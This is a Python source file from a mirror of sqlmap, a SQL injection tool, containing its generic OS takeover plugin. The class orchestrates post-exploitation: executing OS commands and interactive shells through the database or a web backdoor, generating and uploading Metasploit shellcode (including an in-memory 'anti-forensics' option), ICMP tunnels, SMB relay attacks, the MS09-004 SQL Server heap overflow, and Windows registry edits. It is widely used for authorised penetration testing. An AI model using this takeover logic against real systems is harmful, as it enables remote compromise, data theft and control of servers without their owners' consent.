mirror of
https://github.com/sqlmapproject/sqlmap.git
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468 lines
17 KiB
Python
468 lines
17 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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from lib.core.common import Backend
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from lib.core.common import getSafeExString
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from lib.core.common import isStackingAvailable
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from lib.core.common import readInput
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from lib.core.common import runningAsAdmin
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from lib.core.data import conf
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.enums import OS
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from lib.core.exception import SqlmapFilePathException
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from lib.core.exception import SqlmapMissingDependence
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from lib.core.exception import SqlmapMissingMandatoryOptionException
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from lib.core.exception import SqlmapMissingPrivileges
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from lib.core.exception import SqlmapNotVulnerableException
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from lib.core.exception import SqlmapSystemException
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from lib.core.exception import SqlmapUndefinedMethod
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from lib.core.exception import SqlmapUnsupportedDBMSException
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from lib.takeover.abstraction import Abstraction
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from lib.takeover.icmpsh import ICMPsh
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from lib.takeover.metasploit import Metasploit
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from lib.takeover.registry import Registry
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from plugins.generic.misc import Miscellaneous
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class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
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"""
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This class defines generic OS takeover functionalities for plugins.
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"""
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def __init__(self):
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self.cmdTblName = "sqlmapoutput"
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self.tblField = "data"
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Abstraction.__init__(self)
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def osCmd(self):
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if isStackingAvailable() or conf.direct:
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web = False
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elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
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infoMsg = "going to use a web backdoor for command execution"
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logger.info(infoMsg)
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web = True
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else:
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errMsg = "unable to execute operating system commands via "
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errMsg += "the back-end DBMS"
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raise SqlmapNotVulnerableException(errMsg)
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self.getRemoteTempPath()
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self.initEnv(web=web)
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if not web or (web and self.webBackdoorUrl is not None):
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self.runCmd(conf.osCmd)
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if not conf.osShell and not conf.osPwn and not conf.cleanup:
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self.cleanup(web=web)
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def osShell(self):
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if isStackingAvailable() or conf.direct:
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web = False
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elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
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infoMsg = "going to use a web backdoor for command prompt"
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logger.info(infoMsg)
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web = True
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else:
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errMsg = "unable to prompt for an interactive operating "
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errMsg += "system shell via the back-end DBMS because "
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errMsg += "stacked queries SQL injection is not supported"
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raise SqlmapNotVulnerableException(errMsg)
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self.getRemoteTempPath()
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self.initEnv(web=web)
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if not web or (web and self.webBackdoorUrl is not None):
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self.shell()
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if not conf.osPwn and not conf.cleanup:
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self.cleanup(web=web)
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def osPwn(self):
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goUdf = False
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fallbackToWeb = False
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setupSuccess = False
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self.checkDbmsOs()
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if Backend.isOs(OS.WINDOWS):
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msg = "how do you want to establish the tunnel?"
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msg += "\n[1] TCP: Metasploit Framework (default)"
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msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
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while True:
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tunnel = readInput(msg, default='1')
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if tunnel.isdigit() and int(tunnel) in (1, 2):
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tunnel = int(tunnel)
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break
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else:
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warnMsg = "invalid value, valid values are '1' and '2'"
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logger.warn(warnMsg)
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else:
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tunnel = 1
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debugMsg = "the tunnel can be established only via TCP when "
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debugMsg += "the back-end DBMS is not Windows"
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logger.debug(debugMsg)
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if tunnel == 2:
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isAdmin = runningAsAdmin()
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if not isAdmin:
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errMsg = "you need to run sqlmap as an administrator "
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errMsg += "if you want to establish an out-of-band ICMP "
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errMsg += "tunnel because icmpsh uses raw sockets to "
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errMsg += "sniff and craft ICMP packets"
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raise SqlmapMissingPrivileges(errMsg)
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try:
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__import__("impacket")
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except ImportError:
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errMsg = "sqlmap requires 'python-impacket' third-party library "
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errMsg += "in order to run icmpsh master. You can get it at "
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errMsg += "http://code.google.com/p/impacket/downloads/list"
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raise SqlmapMissingDependence(errMsg)
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filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
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if os.path.exists(filename):
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try:
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with open(filename, "wb") as f:
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f.write("1")
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except IOError, ex:
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errMsg = "there has been a file opening/writing error "
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errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
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raise SqlmapSystemException(errMsg)
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else:
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errMsg = "you need to disable ICMP replies by your machine "
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errMsg += "system-wide. For example run on Linux/Unix:\n"
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errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
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errMsg += "If you miss doing that, you will receive "
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errMsg += "information from the database server and it "
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errMsg += "is unlikely to receive commands sent from you"
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logger.error(errMsg)
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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self.sysUdfs.pop("sys_bineval")
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self.getRemoteTempPath()
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if isStackingAvailable() or conf.direct:
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web = False
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self.initEnv(web=web)
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if tunnel == 1:
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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msg = "how do you want to execute the Metasploit shellcode "
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msg += "on the back-end database underlying operating system?"
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msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
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msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"
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while True:
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choice = readInput(msg, default='1')
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if choice.isdigit() and int(choice) in (1, 2):
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choice = int(choice)
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break
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else:
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warnMsg = "invalid value, valid values are '1' and '2'"
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logger.warn(warnMsg)
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if choice == 1:
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goUdf = True
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if goUdf:
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exitfunc = "thread"
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setupSuccess = True
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else:
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exitfunc = "process"
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self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
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if not goUdf:
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setupSuccess = self.uploadShellcodeexec(web=web)
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if setupSuccess is not True:
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if Backend.isDbms(DBMS.MYSQL):
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fallbackToWeb = True
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else:
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msg = "unable to mount the operating system takeover"
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raise SqlmapFilePathException(msg)
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if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
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debugMsg = "by default MySQL on Windows runs as SYSTEM "
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debugMsg += "user, no need to privilege escalate"
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logger.debug(debugMsg)
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elif tunnel == 2:
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setupSuccess = self.uploadIcmpshSlave(web=web)
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if setupSuccess is not True:
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if Backend.isDbms(DBMS.MYSQL):
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fallbackToWeb = True
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else:
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msg = "unable to mount the operating system takeover"
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raise SqlmapFilePathException(msg)
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if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
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web = True
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if fallbackToWeb:
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infoMsg = "falling back to web backdoor to establish the tunnel"
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else:
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infoMsg = "going to use a web backdoor to establish the tunnel"
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logger.info(infoMsg)
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self.initEnv(web=web, forceInit=fallbackToWeb)
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if self.webBackdoorUrl:
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if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
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# Unset --priv-esc if the back-end DBMS underlying operating
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# system is not Windows
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conf.privEsc = False
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warnMsg = "sqlmap does not implement any operating system "
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warnMsg += "user privilege escalation technique when the "
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warnMsg += "back-end DBMS underlying system is not Windows"
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logger.warn(warnMsg)
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if tunnel == 1:
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self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
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setupSuccess = self.uploadShellcodeexec(web=web)
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if setupSuccess is not True:
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msg = "unable to mount the operating system takeover"
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raise SqlmapFilePathException(msg)
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elif tunnel == 2:
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setupSuccess = self.uploadIcmpshSlave(web=web)
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if setupSuccess is not True:
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msg = "unable to mount the operating system takeover"
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raise SqlmapFilePathException(msg)
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if setupSuccess:
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if tunnel == 1:
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self.pwn(goUdf)
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elif tunnel == 2:
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self.icmpPwn()
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else:
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errMsg = "unable to prompt for an out-of-band session"
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raise SqlmapNotVulnerableException(errMsg)
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if not conf.cleanup:
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self.cleanup(web=web)
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def osSmb(self):
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self.checkDbmsOs()
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if not Backend.isOs(OS.WINDOWS):
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows: it is not possible to perform the SMB "
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errMsg += "relay attack"
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raise SqlmapUnsupportedDBMSException(errMsg)
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if not isStackingAvailable() and not conf.direct:
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if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
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errMsg = "on this back-end DBMS it is only possible to "
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errMsg += "perform the SMB relay attack if stacked "
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errMsg += "queries are supported"
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raise SqlmapUnsupportedDBMSException(errMsg)
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elif Backend.isDbms(DBMS.MYSQL):
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debugMsg = "since stacked queries are not supported, "
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debugMsg += "sqlmap is going to perform the SMB relay "
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debugMsg += "attack via inference blind SQL injection"
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logger.debug(debugMsg)
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printWarn = True
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warnMsg = "it is unlikely that this attack will be successful "
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if Backend.isDbms(DBMS.MYSQL):
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warnMsg += "because by default MySQL on Windows runs as "
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warnMsg += "Local System which is not a real user, it does "
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warnMsg += "not send the NTLM session hash when connecting to "
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warnMsg += "a SMB service"
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elif Backend.isDbms(DBMS.PGSQL):
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warnMsg += "because by default PostgreSQL on Windows runs "
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warnMsg += "as postgres user which is a real user of the "
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warnMsg += "system, but not within the Administrators group"
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elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
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warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
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warnMsg += "runs as Network Service which is not a real user, "
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warnMsg += "it does not send the NTLM session hash when "
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warnMsg += "connecting to a SMB service"
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else:
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printWarn = False
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if printWarn:
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logger.warn(warnMsg)
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self.smb()
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def osBof(self):
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if not isStackingAvailable() and not conf.direct:
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return
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if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
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errMsg = "the back-end DBMS must be Microsoft SQL Server "
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errMsg += "2000 or 2005 to be able to exploit the heap-based "
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errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
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errMsg += "stored procedure (MS09-004)"
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raise SqlmapUnsupportedDBMSException(errMsg)
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infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
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infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
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infoMsg += "buffer overflow (MS09-004)"
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logger.info(infoMsg)
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msg = "this technique is likely to DoS the DBMS process, are you "
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msg += "sure that you want to carry with the exploit? [y/N] "
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if readInput(msg, default='N', boolean=True):
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self.initEnv(mandatory=False, detailed=True)
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self.getRemoteTempPath()
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self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
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self.bof()
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def uncPathRequest(self):
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errMsg = "'uncPathRequest' method must be defined "
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errMsg += "into the specific DBMS plugin"
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raise SqlmapUndefinedMethod(errMsg)
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def _regInit(self):
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if not isStackingAvailable() and not conf.direct:
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return
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self.checkDbmsOs()
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if not Backend.isOs(OS.WINDOWS):
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows"
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raise SqlmapUnsupportedDBMSException(errMsg)
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self.initEnv()
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self.getRemoteTempPath()
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def regRead(self):
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self._regInit()
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if not conf.regKey:
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default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
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msg = "which registry key do you want to read? [%s] " % default
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regKey = readInput(msg, default=default)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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default = "ProductName"
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msg = "which registry key value do you want to read? [%s] " % default
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regVal = readInput(msg, default=default)
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else:
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regVal = conf.regVal
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infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
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logger.info(infoMsg)
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return self.readRegKey(regKey, regVal, True)
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def regAdd(self):
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self._regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to write? "
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regKey = readInput(msg)
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if not regKey:
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raise SqlmapMissingMandatoryOptionException(errMsg)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to write? "
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regVal = readInput(msg)
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if not regVal:
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raise SqlmapMissingMandatoryOptionException(errMsg)
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else:
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regVal = conf.regVal
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if not conf.regData:
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msg = "which registry key value data do you want to write? "
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regData = readInput(msg)
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if not regData:
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raise SqlmapMissingMandatoryOptionException(errMsg)
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else:
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regData = conf.regData
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if not conf.regType:
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default = "REG_SZ"
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msg = "which registry key value data-type is it? "
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msg += "[%s] " % default
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regType = readInput(msg, default=default)
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else:
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regType = conf.regType
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infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
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infoMsg += "with data '%s'. " % regData
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.addRegKey(regKey, regVal, regType, regData)
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def regDel(self):
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self._regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to delete? "
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regKey = readInput(msg)
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if not regKey:
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raise SqlmapMissingMandatoryOptionException(errMsg)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to delete? "
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regVal = readInput(msg)
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if not regVal:
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raise SqlmapMissingMandatoryOptionException(errMsg)
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else:
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regVal = conf.regVal
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message = "are you sure that you want to delete the Windows "
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message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
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if not readInput(message, default='N', boolean=True):
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return
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infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.delRegKey(regKey, regVal)
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